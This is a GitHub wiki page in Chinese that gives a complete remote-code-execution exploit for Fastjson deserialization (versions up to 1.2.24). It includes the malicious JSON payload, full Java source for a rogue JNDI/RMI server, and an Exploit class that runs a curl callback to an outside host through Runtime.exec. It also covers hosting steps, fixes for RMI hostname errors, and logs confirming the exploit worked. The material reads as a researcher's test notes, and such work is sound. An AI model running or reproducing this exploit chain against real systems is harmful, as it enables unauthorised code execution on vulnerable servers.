-
Notifications
You must be signed in to change notification settings - Fork 649
Fastjson
post提交:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}
JNDIServer.java
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference =
new Reference("Exploit", "Exploit","http://test.joychou.org:8888/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit",referenceWrapper);
}
}
Exploit.java
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit() {
try{
// 要执行的命令
String commands = "curl http://test.joychou.org/fastjson";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
具体利用步骤:
-
提供一个JNDI的Server
javac JNDIServer.java java JNDIServer
-
编译要执行的命令,并且提供一个Web接口
javac Exploit.java python -m SimpleHTTPServer 8888
-
提交POST的EXP,Content-Type设置为
Content-Type: application/json
刚开始我测试的Java版本是8u121,但是后来了解到8u121版本默认加了trustURLCodebase
选项,默认不能用该EXP。
重新下载Java 1.8.0_102
进行测试,报错如下:
javax.naming.ServiceUnavailableException [
Root exception is java.rmi.ConnectException: Connection refused to host: 172.31.43.252; nested exception is:
java.net.ConnectException: Operation timed out]
很奇怪,出现一个内网IP,在test.joychou.org
服务器上ifconfig发现,刚好是JNDIServer服务器的内网IP。所以为什么会连接内网IP,我提交的EXP明明是:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://test.joychou.org:1099/Exploit","autoCommit":true}
查看内网IP:
[root@sec]# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 172.31.43.252 netmask 255.255.240.0 broadcast 172.31.47.255
ether 00:16:3e:00:7b:60 txqueuelen 1000 (Ethernet)
RX packets 63967662 bytes 27697084474 (25.7 GiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 62689390 bytes 24462345534 (22.7 GiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Google发现原因是因为:
这个问题其实是由rmi服务器端程序造成的。 客户端程序向服务端请求一个对象的时候,返回的stub对象里面包含了服务器的hostname,客户端的后续操作根据这个hostname来连接服务器端。要想知道这个hostname具体是什么值可以在服务器端bash中打入指令:hostname -i 如果返回的是127.0.0.1,那么你的客户端肯定会抛如标题的异常了。
果然是这样:
[root@sec fastjson]# hostname -i
172.31.43.252
[root@sec fastjson]# hostname
sectest
解决这个很简单,修改hostname为外网IP即可。
hostname 47.52.77.204
再打一次EXP,一发入魂。收到执行的命令:
183.128.132.139 - - [20/Oct/2018 22:02:23] "GET /Exploit.class HTTP/1.1" 200 -
20/Oct/2018:22:02:23 +0800 [-] 183.128.132.139 [-] XFF: - [-] test.joychou.org [-] GET /fastjson HTTP/1.1 [-] Body: - [-] UserAgent: curl/7.54.0 [-] Referer: - [-] Cookie: - [-] 80 [-] 404
后面我又在Java 1.7的版本测试了这个JdbcRowSetImpl
EXP,又有一个新的报错:
Caused by: java.lang.UnsupportedClassVersionError: Exploit : Unsupported major.minor version 52.0
Google后,发现是Java版本不兼容导致的问题。所以我在编译JNDIServer的服务器上用Java 1.7,直接打成功了。
最后的总结为,这个EXP适用于:
- Fastjson版本小于等于1.2.24
- Java版本小于8u121
- Java 1.7的写的Fastjson漏洞,JNDIServer和Exploit的编译也需要Java 1.7编译。同理,1.8也一样。
https://blog.csdn.net/liupeifeng3514/article/details/78998127